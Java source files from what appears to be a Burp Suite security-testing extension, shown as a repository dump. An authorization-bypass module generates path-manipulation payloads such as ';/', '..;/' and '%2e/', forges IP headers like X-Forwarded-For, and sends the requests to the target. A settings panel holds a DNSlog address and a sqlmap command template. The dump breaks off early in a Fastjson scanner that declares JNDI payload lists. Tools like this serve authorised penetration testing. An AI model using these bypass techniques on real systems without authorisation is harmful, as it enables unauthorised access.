   panel.setLayout(new BorderLayout());\n        // 添加FlowLayout布局,将清空按钮添加\n        JPanel topPanel = new JPanel(new FlowLayout(FlowLayout.LEFT));\n        btnClear = new JButton(I18nUtils.get(\"auth.button.clear\"));\n        topPanel.add(btnClear);\n\n        JLabel ipLabel = new JLabel(I18nUtils.get(\"auth.label.ip\"));\n        topPanel.add(ipLabel);\n\n        ipInputField = new JTextField(\"127.0.0.1\");\n        topPanel.add(ipInputField);\n\n        saveBtn = new JButton(I18nUtils.get(\"auth.button.save\"));\n        topPanel.add(saveBtn);\n\n        panel.add(topPanel, BorderLayout.NORTH);\n\n        // 上下分割面板,比例是7：3\n        JSplitPane mainsplitPane = new JSplitPane(JSplitPane.VERTICAL_SPLIT);\n        mainsplitPane.setResizeWeight(0.7);\n        mainsplitPane.setDividerLocation(0.7);\n\n        // 添加URLTable到mainsplitPane的上边\n        authTable = new URLTable(new AuthModel());\n        authTable.setAutoCreateRowSorter(true);\n        JScrollPane scrollPane = new JScrollPane(authTable);\n        mainsplitPane.setTopComponent(scrollPane);\n\n        // 左右分割面板,对称分割\n        JSplitPane splitPaneDown = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT);\n        splitPaneDown.setResizeWeight(0.5);\n        splitPaneDown.setDividerLocation(0.5);\n        // 添加请求响应到左右分割面板\n        authtabbedPanereq = new JTabbedPane();\n        HRequestTextEditor = Utils.callbacks.createMessageEditor(AuthUI.this, true);\n        authtabbedPanereq.addTab(\"Request\", HRequestTextEditor.getComponent());\n\n        authtabbedPaneresp = new JTabbedPane();\n        HResponseTextEditor = Utils.callbacks.createMessageEditor(AuthUI.this, false);\n        authtabbedPaneresp.addTab(\"Response\", HResponseTextEditor.getComponent());\n        splitPaneDown.setLeftComponent(authtabbedPanereq);\n        splitPaneDown.setRightComponent(authtabbedPaneresp);\n\n\n        // 添加splitPaneDown到mainsplitPane的下边\n        mainsplitPane.setBottomComponent(splitPaneDown);\n\n        panel.add(mainsplitPane, BorderLayout.CENTER);\n    }\n\n    @Override\n    public JPanel getPanel(IBurpExtenderCallbacks callbacks) {\n        return panel;\n    }\n\n    @Override\n    public String getTabName() {\n        return \"BypassAuth\";\n    }\n\n    // auth核心检测方法\n    public static void Check(IHttpRequestResponse[] requestResponses) {\n        lock.lock();\n        try {\n            IHttpRequestResponse baseRequestResponse = requestResponses[0];\n            IRequestInfo analyzeRequest = Utils.helpers.analyzeRequest(baseRequestResponse);\n            String method = analyzeRequest.getMethod();\n            String path = analyzeRequest.getUrl().getPath();\n            String request = Utils.helpers.bytesToString(baseRequestResponse.getRequest());\n            List<IParameter> paraLists = analyzeRequest.getParameters();\n            URL rdurlURL = analyzeRequest.getUrl();\n            String url = analyzeRequest.getUrl().toString();\n            byte[] byte_Request = baseRequestResponse.getRequest();\n            int len = byte_Request.length;\n            byte[] body = Arrays.copyOfRange(byte_Request, analyzeRequest.getBodyOffset(), len);\n            // url 中匹配为静态资源\n            if (Utils.isUrlBlackListSuffix(url)) {\n                return;\n            }\n\n            List<String> headers = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders();\n            String urlWithoutQuery = \"\";\n            try {\n                URL url1 = new URL(url);\n                String protocol = url1.getProtocol();\n                String host = url1.getHost();\n                int port = url1.getPort();\n                urlWithoutQuery = protocol + \"://\" + host + \":\" + port;\n            } catch (MalformedURLException e) {\n                throw new RuntimeException(e);\n            }\n            List<AuthBean> authRequests = new ArrayList<>();\n            authRequests.addAll(prefix(method, path));\n            authRequests.addAll(suffix(method, path));\n\n            if (Objects.equals(method, \"GET\") || Objects.equals(method, \"POST\")) {\n                for (AuthBean value : authRequests) {\n                    if (Objects.equals(value.getMethod(), \"GET\")) {\n                        String new_request = request.replaceFirst(path, value.getPath());\n                        IHttpRequestResponse response = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), Utils.helpers.stringToBytes(new_request));\n                        String requrl = urlWithoutQuery + value.getPath();\n                        String statusCode = String.valueOf(Utils.helpers.analyzeResponse(response.getResponse()).getStatusCode());\n                        String length = String.valueOf(response.getResponse().length);\n                        add(method, requrl, statusCode, length, response);\n                    } else if (Objects.equals(value.getMethod(), \"POST\")) {\n                        String new_request = request.replaceFirst(path, value.getPath());\n                        IHttpRequestResponse response = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), Utils.helpers.stringToBytes(new_request));\n                        String requrl = urlWithoutQuery + value.getPath();\n                        String statusCode = String.valueOf(Utils.helpers.analyzeResponse(response.getResponse()).getStatusCode());\n                        String length = String.valueOf(response.getResponse().length);\n                        add(method, requrl, statusCode, length, response);\n                    }\n                }\n                // 测试伪造ip\n                List<AuthBean> testHeaders = forgeHeaders(method, url);\n                for (AuthBean header : testHeaders) {\n                    headers.add(header.getHeaders());\n                }\n                byte[] message = Utils.helpers.buildHttpMessage(headers, body);\n                IHttpRequestResponse response = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), message);\n                String statusCode = String.valueOf(Utils.helpers.analyzeResponse(response.getResponse()).getStatusCode());\n                String length = String.valueOf(response.getResponse().length);\n                add(method, url, statusCode, length, response);\n                for (AuthBean header : testHeaders) {\n                    headers.remove(header.getHeaders());\n                }\n                // 单独测试实战绕过案例\n                changeAccept(headers, body, method, url, baseRequestResponse);\n            }\n        } finally {\n            lock.unlock();\n        }\n    }\n\n    // 添加数据到表格\n    private static void add(String method, String url, String statuscode, String length, IHttpRequestResponse baseRequestResponse) {\n        synchronized (authlog) {\n            int id = authlog.size();\n            authlog.add(new AuthEntry(id, method, url, statuscode, length, baseRequestResponse));\n            authTable.updateUI();\n        }\n    }\n\n    // 添加后缀\n    public static List<AuthBean> suffix(String method, String path) {\n        if (path.startsWith(\"//\")) {\n            path = \"/\" + path.substring(2).replaceAll(\"/+\", \"/\");\n        }\n        List<AuthBean> authRequests = new ArrayList<>();\n        if (path.endsWith(\"/\")) {\n            path = path.substring(0, path.length() - 1);\n            List<String> payloads = Arrays.asList(path + \"%2e/\", path + \"/.\", \"./\" + path + \"/./\", path + \"%20/\",\n                    \"/%20\" + path + \"%20/\", path + \"..;/\", path + \"?\", path + \"??\", \"/\" + path + \"//\",\n                    path + \"/\", path + \"/.randomstring\");\n            for (String payload : payloads) {\n                if (\"GET\".equals(method)) {\n                    authRequests.add(new AuthBean(\"GET\", payload, \"\"));\n                } else if (\"POST\".equals(method)) {\n                    authRequests.add(new AuthBean(\"POST\", payload, \"\"));\n                }\n            }\n        } else {\n            List<String> payloads = Arrays.asList(path + \"/%2e\", path + \"/%20\", path + \"%0d%0a\", path + \".json\", path + \"/.randomstring\");\n\n            for (String payload : payloads) {\n                if (\"GET\".equals(method)) {\n                    authRequests.add(new AuthBean(\"GET\", payload, \"\"));\n                } else if (\"POST\".equals(method)) {\n                    authRequests.add(new AuthBean(\"POST\", payload, \"\"));\n                }\n            }\n        }\n        return authRequests;\n    }\n\n    // 添加前缀\n    public static List<AuthBean> prefix(String method, String path) {\n        if (path.startsWith(\"//\")) {\n            path = \"/\" + path.substring(2).replaceAll(\"/+\", \"/\");\n        }\n        List<AuthBean> authRequests = new ArrayList<>();\n        String[] prefix = {\";/\", \".;/\", \"images/..;/\", \";a/\", \"%23/../\", \"..;/..;/\"};\n        for (String s : prefix) {\n            // 将路径按 / 分割为多个部分\n            String[] pathParts = path.split(\"/\");\n            for (int i = 1; i < pathParts.length; i++) {\n                // 输出从第二个部分到最后一个部分\n                String[] subPathParts = Arrays.copyOfRange(pathParts, i, pathParts.length);\n                String[] prePathParts = Arrays.copyOfRange(pathParts, 1, i);\n                if (prePathParts.length > 0) {\n                    if (\"GET\".equals(method)) {\n                        authRequests.add(new AuthBean(\"GET\", \"/\" + String.join(\"/\", prePathParts) + \"/\" + s + String.join(\"/\", subPathParts), \"\"));\n                    } else if (\"POST\".equals(method)) {\n                        authRequests.add(new AuthBean(\"POST\", \"/\" + String.join(\"/\", prePathParts) + \"/\" + s + String.join(\"/\", subPathParts), \"\"));\n                    }\n                } else {\n                    if (\"GET\".equals(method)) {\n                        authRequests.add(new AuthBean(\"GET\", \"/\" + s + String.join(\"/\", subPathParts), \"\"));\n                    } else if (\"POST\".equals(method)) {\n                        authRequests.add(new AuthBean(\"POST\", \"/\" + s + String.join(\"/\", subPathParts), \"\"));\n                    }\n                }\n            }\n        }\n\n        return authRequests;\n    }\n\n    // 添加头部\n    public static List<AuthBean> forgeHeaders(String method, String url) {\n        List<AuthBean> authRequests = new ArrayList<>();\n        List<String> payloads = Arrays.asList(\n                \"X-Forwarded-For: %s\",\n                \"X-Originating-IP: %s\",\n                \"X-Remote-IP: %s\",\n                \"X-Remote-Addr: %s\"\n        );\n        // 对payloads进行替换\n        payloads.replaceAll(s -> String.format(s, LOCAL_IP));\n\n        for (String payload : payloads) {\n            if (\"GET\".equals(method)) {\n                authRequests.add(new AuthBean(\"GET\", \"\", payload));\n            } else if (\"POST\".equals(method)) {\n                authRequests.add(new AuthBean(\"POST\", \"\", payload));\n            }\n        }\n        return authRequests;\n    }\n\n    // 添加accept\n    // https://mp.weixin.qq.com/s/6YMDu6FTLa_9s6_mewrp0A\n    public static void changeAccept(List<String> headers, byte[] body, String method, String url, IHttpRequestResponse baseRequestResponse) {\n        // 判断headers立马是否有Accept,如果有则删除\n        headers.removeIf(header -> header.startsWith(\"Accept:\"));\n        headers.add(\"Accept: application/json, text/javascript, /; q=0.01\");\n        byte[] message = Utils.helpers.buildHttpMessage(headers, body);\n        IHttpRequestResponse response = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), message);\n        // 发送请求\n        String statusCode = String.valueOf(Utils.helpers.analyzeResponse(response.getResponse()).getStatusCode());\n        String length = String.valueOf(response.getResponse().length);\n        add(method, url, statusCode, length, response);\n    }\n\n    // auth实体\n    private static class AuthEntry {\n        private final int id;\n        private final String method;\n        private final String url;\n        private final String status;\n        private final String length;\n        private final IHttpRequestResponse requestResponse;\n\n\n        public AuthEntry(int id, String method, String url, String status, String length, IHttpRequestResponse requestResponse) {\n            this.id = id;\n            this.method = method;\n            this.url = url;\n            this.status = status;\n            this.length = length;\n            this.requestResponse = requestResponse;\n        }\n    }\n\n    // auth 模型\n    private static class AuthModel extends AbstractTableModel {\n\n        @Override\n        public int getRowCount() {\n            return authlog.size();\n        }\n\n        @Override\n        public int getColumnCount() {\n            return 5;\n        }\n\n        @Override\n        public Object getValueAt(int rowIndex, int columnIndex) {\n            switch (columnIndex) {\n                case 0:\n                    return authlog.get(rowIndex).id;\n                case 1:\n                    return authlog.get(rowIndex).method;\n                case 2:\n                    return authlog.get(rowIndex).url;\n                case 3:\n                    return authlog.get(rowIndex).status;\n                case 4:\n                    return authlog.get(rowIndex).length;\n                default:\n                    return null;\n            }\n        }\n\n        @Override\n        public String getColumnName(int column) {\n            switch (column) {\n                case 0:\n                    return \"id\";\n                case 1:\n                    return \"method\";\n                case 2:\n                    return \"url\";\n                case 3:\n                    return \"status\";\n                case 4:\n                    return \"length\";\n                default:\n                    return null;\n            }\n        }\n    }\n\n    // auth 表格\n    private class URLTable extends JTable {\n        public URLTable(TableModel dm) {\n            super(dm);\n            TableColumnModel columnModel = getColumnModel();\n            columnModel.getColumn(0).setMaxWidth(50);\n            columnModel.getColumn(4).setMaxWidth(50);\n        }\n\n        @Override\n        public void changeSelection(int row, int col, boolean toggle, boolean extend) {\n            AuthEntry logEntry = authlog.get(row);\n            HRequestTextEditor.setMessage(logEntry.requestResponse.getRequest(), true);\n            if (logEntry.requestResponse.getResponse() == null) {\n                HResponseTextEditor.setMessage(new byte[0], false);\n            } else {\n                HResponseTextEditor.setMessage(logEntry.requestResponse.getResponse(), false);\n            }\n            currentlyDisplayedItem = logEntry.requestResponse;\n            super.changeSelection(row, col, toggle, extend);\n        }\n    }\n\n\n}\n"
  },
  {
    "path": "src/main/java/burp/ui/ConfigUI.java",
    "content": "package burp.ui;\n\nimport burp.IBurpExtenderCallbacks;\nimport burp.bean.ConfigBean;\nimport burp.utils.I18nUtils;\nimport burp.utils.UrlCacheUtil;\nimport burp.utils.Utils;\nimport com.intellij.uiDesigner.core.GridConstraints;\nimport com.intellij.uiDesigner.core.GridLayoutManager;\nimport com.intellij.uiDesigner.core.Spacer;\n\nimport javax.swing.*;\nimport javax.swing.table.AbstractTableModel;\nimport java.awt.*;\nimport java.awt.event.ActionEvent;\nimport java.awt.event.ActionListener;\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport static burp.dao.ConfigDao.*;\n\npublic class ConfigUI implements UIHandler {\n    private static final List<LogEntry> data = new ArrayList<>();\n    public AbstractTableModel dataModel = new ConfigModel();\n    private JPanel panel;\n    private JPanel configPanel;\n    private JLabel dnslogLabel;\n    private JTextField dnslogTextField;\n    private JLabel ipLabel;\n    private JTextField ipTextField;\n    private JLabel toolNameLabel;\n    private JTextField toolNameTextField;\n    private JButton toolButton;\n    private JTextField toolArgvTextField;\n    private JButton ipButton;\n    private JButton dnslogButton;\n    private JLabel toolArgvLabel;\n    private JButton refershButton;\n    private JButton deleteSelectButton;\n    private JButton clearCacheButton;\n    private JButton resetUrl;\n    private JTable configTable;\n    private JScrollPane configPanelDownJscrollPanel;\n    private JPanel configPanelTop;\n    private JPanel configPanelDown;\n    private JLabel languageLabel;\n    private JComboBox<String> languageComboBox;\n\n    private void setupUI() {\n        // 创建主面板\n        panel = new JPanel();\n        panel.setLayout(new GridLayoutManager(1, 1, new Insets(0, 0, 0, 0), -1, -1));\n\n        // 创建配置面板\n        configPanel = new JPanel();\n        configPanel.setLayout(new BorderLayout(0, 0));\n        panel.add(configPanel, new GridConstraints(0, 0, 1, 1,\n                GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH,\n                GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW,\n                GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW,\n                null, null, null, 0, false));\n\n        // 配置顶部面板\n        configPanelTop = new JPanel();\n        configPanelTop.setLayout(new GridLayoutManager(5, 9, new Insets(10, 10, 10, 10), 5, 5));  // 增加间距，添加语言选择行\n        configPanel.add(configPanelTop, BorderLayout.NORTH);\n\n        // 语言选择行\n        languageLabel = new JLabel();\n        languageLabel.setText(I18nUtils.get(\"common.label.language\"));\n        configPanelTop.add(languageLabel, new GridConstraints(0, 0, 1, 1,\n                GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE,\n                GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED,\n                null, null, null, 0, false));\n\n        languageComboBox = new JComboBox<>(new String[]{\"English\", \"中文\"});\n        languageComboBox.setSelectedItem(I18nUtils.isChinese() ? \"中文\" : \"English\");\n        configPanelTop.add(languageComboBox, new GridConstraints(0, 1, 1, 3,\n                GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL,\n                GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED,\n                null, new Dimension(250, -1), null, 0, false));\n\n        // DNS日志配置行\n        dnslogLabel = new JLabel();\n        dnslogLabel.setText(I18nUtils.get(\"config.label.dnslog\"));\n        configPanelTop.add(dnslogLabel, new GridConstraints(1, 0, 1, 1,\n                GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE,\n                GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED,\n                null, null, null, 0, false));\n\n        dnslogTextField = new JTextField();\n        configPanelTop.add(dnslogTextField, new GridConstraints(1, 1, 1, 3,\n                GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL,\n                GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED,\n                null, new Dimension(250, -1), null, 0, false));\n\n        dnslogButton = new JButton();\n        dnslogButton.setText(I18nUtils.get(\"config.button.save\"));\n        configPanelTop.add(dnslogButton, new GridConstraints(1, 4, 1, 1,\n                GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL,\n                GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW,\n                GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));\n\n        // IP配置行\n        ipLabel = new JLabel();\n        ipLabel.setText(I18nUtils.get(\"config.label.ip\"));\n        configPanelTop.add(ipLabel, new GridConstraints(2, 0, 1, 1,\n                GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE,\n                GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED,\n                null, null, null, 0, false));\n\n        ipTextField = new JTextField();\n        configPanelTop.add(ipTextField, new GridConstraints(2, 1, 1, 3,\n                GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL,\n                GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED,\n                null, new Dimension(250, -1), null, 0, false));\n\n        ipButton = new JButton();\n        ipButton.setText(I18nUtils.get(\"config.button.save\"));\n        configPanelTop.add(ipButton, new GridConstraints(2, 4, 1, 1,\n                GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL,\n                GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW,\n                GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));\n\n        // 工具配置行\n        toolNameLabel = new JLabel();\n        toolNameLabel.setText(I18nUtils.get(\"config.label.tool_name\"));\n        configPanelTop.add(toolNameLabel, new GridConstraints(3, 0, 1, 1,\n                GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE,\n                GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED,\n                null, null, null, 0, false));\n\n        toolNameTextField = new JTextField();\n        configPanelTop.add(toolNameTextField, new GridConstraints(3, 1, 1, 1,\n                GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL,\n                GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED,\n                null, new Dimension(150, -1), null, 0, false));\n\n        toolArgvLabel = new JLabel();\n        toolArgvLabel.setText(I18nUtils.get(\"config.label.tool_args\"));\n        configPanelTop.add(toolArgvLabel, new GridConstraints(3, 2, 1, 1,\n                GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE,\n                GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED,\n                null, null, null, 0, false));\n\n        toolArgvTextField = new JTextField();\n        configPanelTop.add(toolArgvTextField, new GridConstraints(3, 3, 1, 1,\n                GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL,\n                GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED,\n                null, new Dimension(250, -1), null, 0, false));\n\n        toolButton = new JButton();\n        toolButton.setText(I18nUtils.get(\"config.button.save\"));\n        configPanelTop.add(toolButton, new GridConstraints(3, 4, 1, 1,\n                GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL,\n                GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW,\n                GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));\n\n        // 按钮行\n        JPanel buttonPanel = new JPanel();\n        buttonPanel.setLayout(new FlowLayout(FlowLayout.LEFT, 10, 5));  // 使用FlowLayout，左对齐，间距10\n        configPanelTop.add(buttonPanel, new GridConstraints(4, 0, 1, 9,\n                GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL,\n                GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW,\n                GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));\n\n        refershButton = new JButton();\n        refershButton.setText(I18nUtils.get(\"config.button.refresh\"));\n        buttonPanel.add(refershButton);\n\n        deleteSelectButton = new JButton();\n        deleteSelectButton.setText(I18nUtils.get(\"config.button.delete\"));\n        buttonPanel.add(deleteSelectButton);\n\n        clearCacheButton = new JButton();\n        clearCacheButton.setText(I18nUtils.get(\"config.button.clear_cache\"));\n        buttonPanel.add(clearCacheButton);\n\n        // 新增按钮\n        resetUrl = new JButton(I18nUtils.get(\"config.button.reset\"));\n        buttonPanel.add(resetUrl);\n\n        // 配置下部面板（表格）\n        configPanelDown = new JPanel();\n        configPanelDown.setLayout(new GridLayoutManager(1, 1, new Insets(10, 10, 10, 10), -1, -1));\n        configPanel.add(configPanelDown, BorderLayout.CENTER);\n\n        configPanelDownJscrollPanel = new JScrollPane();\n        configPanelDown.add(configPanelDownJscrollPanel, new GridConstraints(0, 0, 1, 1,\n                GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH,\n                GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW,\n                GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW,\n                null, null, null, 0, false));\n\n        configTable = new JTable(dataModel);\n        configTable.setRowHeight(25);  // 设置表格行高\n        configTable.setFillsViewportHeight(true);  // 表格填充视窗\n        configPanelDownJscrollPanel.setViewportView(configTable);\n    }\n\n    private void setupData() {\n        ConfigBean dnsconfig = getConfig(\"config\", \"dnslog\");\n        dnslogTextField.setText(dnsconfig.getValue());\n\n        ConfigBean ipconfig = getConfig(\"config\", \"ip\");\n        ipTextField.setText(ipconfig.getValue());\n\n        toolNameTextField.setText(\"sqlmap\");\n        toolArgvTextField.setText(\"python sqlmap.py -r {request} -u {url} -h {host}\");\n\n        List<ConfigBean> toolParam = getToolConfig();\n        for (ConfigBean config : toolParam) {\n            addData(config.getType(), config.getValue());\n        }\n\n        refershButton.addActionListener(new AbstractAction() {\n            @Override\n            public void actionPerformed(ActionEvent e) {\n                List<ConfigBean> toolParam = getToolConfig();\n                data.clear();\n                for (ConfigBean config : toolParam) {\n                    addData(config.getType(), config.getValue());\n                }\n                dataModel.fireTableDataChanged();\n            }\n        });\n\n        deleteSelectButton.addActionListener(new AbstractAction() {\n            @Override\n            public void actionPerformed(ActionEvent e) {\n\n                int[] selectedRows = configTable.getSelectedRows();\n                for (int i = selectedRows.length - 1; i >= 0; i--) {\n                    int selectedRow = selectedRows[i];\n                    String type = (String) configTable.getValueAt(selectedRow, 1);\n                    deleteToolConfig(type);\n                    data.remove(selectedRow);\n                    dataModel.fireTableRowsDeleted(selectedRow, selectedRow);\n                    dataModel.fireTableDataChanged();\n                }\n            }\n        });\n        clearCacheButton.addActionListener(new AbstractAction() {\n            @Override\n            public void actionPerformed(ActionEvent e) {\n                // mark\n                // 弹出提示框\n                boolean deleteReqFile = Utils.deleteReqFile();\n                if (deleteReqFile){\n                    JOptionPane.showMessageDialog(null, I18nUtils.get(\"config.message.delete_success\"), I18nUtils.get(\"config.title.info\"), JOptionPane.INFORMATION_MESSAGE);\n                }else {\n                    JOptionPane.showMessageDialog(null, I18nUtils.get(\"config.message.delete_failed\"), I18nUtils.get(\"config.title.info\"), JOptionPane.INFORMATION_MESSAGE);\n                }\n            }\n        });\n\n        dnslogButton.addActionListener(new AbstractAction() {\n            @Override\n            public void actionPerformed(ActionEvent e) {\n                String module = \"config\";\n                String dns = dnslogTextField.getText();\n                ConfigBean config = new ConfigBean(module, \"dnslog\", dns);\n                saveConfig(config);\n                FastjsonUI.dnslog = dns;\n                Log4jUI.dns = dns;\n                // 弹窗提示\n                JOptionPane.showMessageDialog(null, I18nUtils.get(\"config.message.save_success\"), I18nUtils.get(\"config.title.info\"), JOptionPane.INFORMATION_MESSAGE);\n            }\n        });\n\n        ipButton.addActionListener(new AbstractAction() {\n            @Override\n            public void actionPerformed(ActionEvent e) {\n                String module = \"config\";\n                String ip = ipTextField.getText();\n                ConfigBean config = new ConfigBean(module, \"ip\", ip);\n                saveConfig(config);\n                FastjsonUI.ip = ip;\n                Log4jUI.ip = ip;\n                JOptionPane.showMessageDialog(null, I18nUtils.get(\"config.message.save_success\"), I18nUtils.get(\"config.title.info\"), JOptionPane.INFORMATION_MESSAGE);\n            }\n        });\n\n        toolButton.addActionListener(new AbstractAction() {\n            @Override\n            public void actionPerformed(ActionEvent e) {\n                String module = \"tool\";\n                String type = toolNameTextField.getText();\n                String value = toolArgvTextField.getText();\n                ConfigBean config = new ConfigBean(module, type, value);\n                saveConfig(config);\n                addData(type, value);\n                JOptionPane.showMessageDialog(null, I18nUtils.get(\"config.message.save_success\"), I18nUtils.get(\"config.title.info\"), JOptionPane.INFORMATION_MESSAGE);\n            }\n        });\n        resetUrl.addActionListener(new ActionListener() {\n            @Override\n            public void actionPerformed(ActionEvent e) {\n                UrlCacheUtil.resetAllCaches();\n                RouteUI.resetAllCaches();\n                PermUI.resetAllCaches();\n                Log4jUI.resetAllCaches();\n                FastjsonUI.resetAllCaches();\n                SqlUI.resetAllCaches();\n                JOptionPane.showMessageDialog(null, I18nUtils.get(\"config.message.reset_success\"), I18nUtils.get(\"config.title.info\"), JOptionPane.INFORMATION_MESSAGE);\n            }\n        });\n\n        // 语言选择监听器\n        languageComboBox.addActionListener(new ActionListener() {\n            @Override\n            public void actionPerformed(ActionEvent e) {\n                String selectedLanguage = (String) languageComboBox.getSelectedItem();\n                boolean isChinese = selectedLanguage.equals(\"中文\");\n                I18nUtils.setChinese(isChinese);\n                \n                // 保存语言设置到配置\n                String module = \"config\";\n                String key = \"language\";\n                String value = isChinese ? \"zh\" : \"en\";\n                ConfigBean config = new ConfigBean(module, key, value);\n                saveConfig(config);\n                \n                // 提示用户重启插件以应用语言更改\n                JOptionPane.showMessageDialog(null, I18nUtils.get(\"common.message.language_change\"), I18nUtils.get(\"common.title.info\"), JOptionPane.INFORMATION_MESSAGE);\n            }\n        });\n\n    }\n\n    // 添加数据\n    public void addData(String key, String value) {\n        synchronized (data) {\n            data.add(new LogEntry(data.size() + 1, key, value));\n            dataModel.fireTableDataChanged();\n            dataModel.fireTableRowsInserted(data.size() - 1, data.size() - 1);\n        }\n    }\n\n    @Override\n    public void init() {\n        setupUI();\n        setupData();\n    }\n\n    @Override\n    public JPanel getPanel(IBurpExtenderCallbacks callbacks) {\n        return panel;\n    }\n\n    @Override\n    public String getTabName() {\n        return \"Setting\";\n    }\n\n    // 表格模型\n    static class ConfigModel extends AbstractTableModel {\n\n        @Override\n        public int getRowCount() {\n            return data.size();\n        }\n\n        @Override\n        public int getColumnCount() {\n            return 3;\n        }\n\n        @Override\n        public Object getValueAt(int rowIndex, int columnIndex) {\n            LogEntry dataEntry = data.get(rowIndex);\n            switch (columnIndex) {\n                case 0:\n                    return dataEntry.id;\n                case 1:\n                    return dataEntry.key;\n                case 2:\n                    return dataEntry.value;\n                default:\n                    return null;\n            }\n        }\n\n        @Override\n        public String getColumnName(int column) {\n            switch (column) {\n                case 0:\n                    return \"id\";\n                case 1:\n                    return \"key\";\n                case 2:\n                    return \"value\";\n                default:\n                    return null;\n            }\n        }\n    }\n\n    // 表格实体类\n    public static class LogEntry {\n        private final String key;\n        private final String value;\n        private int id;\n\n        public LogEntry(int id, String key, String value) {\n            this.id = id;\n            this.key = key;\n            this.value = value;\n        }\n\n        public LogEntry(String key, String value) {\n            this.key = key;\n            this.value = value;\n        }\n    }\n}\n"
  },
  {
    "path": "src/main/java/burp/ui/FastjsonUI.java",
    "content": "package burp.ui;\n\nimport burp.*;\nimport burp.bean.FastjsonBean;\nimport burp.utils.CustomScanIssue;\nimport burp.utils.I18nUtils;\nimport burp.utils.JsonUtils;\nimport burp.utils.UrlCacheUtil;\nimport burp.utils.Utils;\n\nimport javax.swing.*;\nimport javax.swing.table.AbstractTableModel;\nimport javax.swing.table.DefaultTableCellRenderer;\nimport javax.swing.table.TableColumnModel;\nimport javax.swing.table.TableModel;\nimport java.awt.*;\nimport java.awt.event.ActionEvent;\nimport java.net.MalformedURLException;\nimport java.net.URL;\nimport java.util.ArrayList;\nimport java.util.Iterator;\nimport java.util.List;\nimport java.util.Objects;\nimport java.util.concurrent.locks.Lock;\nimport java.util.concurrent.locks.ReentrantLock;\n\nimport static burp.dao.ConfigDao.getConfig;\nimport static burp.dao.FastjsonDao.getFastjsonListsByType;\n\n/**\n * @Author Xm17\n * @Date 2024-06-22 12:13\n */\npublic class FastjsonUI implements UIHandler, IMessageEditorController , IHttpListener{\n    private JPanel panel; // 主面板\n    private JTabbedPane fastjsonreq; // 请求面板\n    private JTabbedPane fastjsonresp; // 响应面板\n    private JButton btnClear; // 清空按钮\n    private JButton btnRefresh; // 添加刷新按钮\n    private static volatile boolean autoRefresh = true; // 控制是否自动刷新\n    private static final Object refreshLock = new Object();\n    private JCheckBox autoRefreshCheckBox; // 自动刷新开关\n    private static JTable fastjsonTable; // fastjson表格\n    private IHttpRequestResponse currentlyDisplayedItem; // 当前显示的请求\n    private JCheckBox passiveScanCheckBox; // 添加被动扫描复选框\n    private IMessageEditor HRequestTextEditor; // 请求编辑器\n    private IMessageEditor HResponseTextEditor; // 响应编辑器\n    private static final List<FastjsonEntry> fastjsonlog = new ArrayList<>(); // fastjson日志\n    public static String dnslog; // dnslog地址\n    public static String ip; // ip地址\n    private static List<FastjsonBean> jndiPayloads = new ArrayList<>(); // jndi payloads\n    private static List<FastjsonBean> versionPayloads = new ArrayList<>(); // jndi payloads\n    private static List<FastjsonBean> dnsPayloads = new ArrayList<>(); // jndi payloads\n    private static List<FastjsonBean> echoPayloads = new ArrayList<>(); // jndi payloads\n    private static final Lock lock = new ReentrantLock();\n    private boolean isPassiveScanEnabled = false; // 控制被动扫描状态\n    \n    public static void resetAllCaches() {\n        UrlCacheUtil.resetCache(\"fastjson\");\n    }\n\n    @Override\n    public IHttpService getHttpService() {\n        return 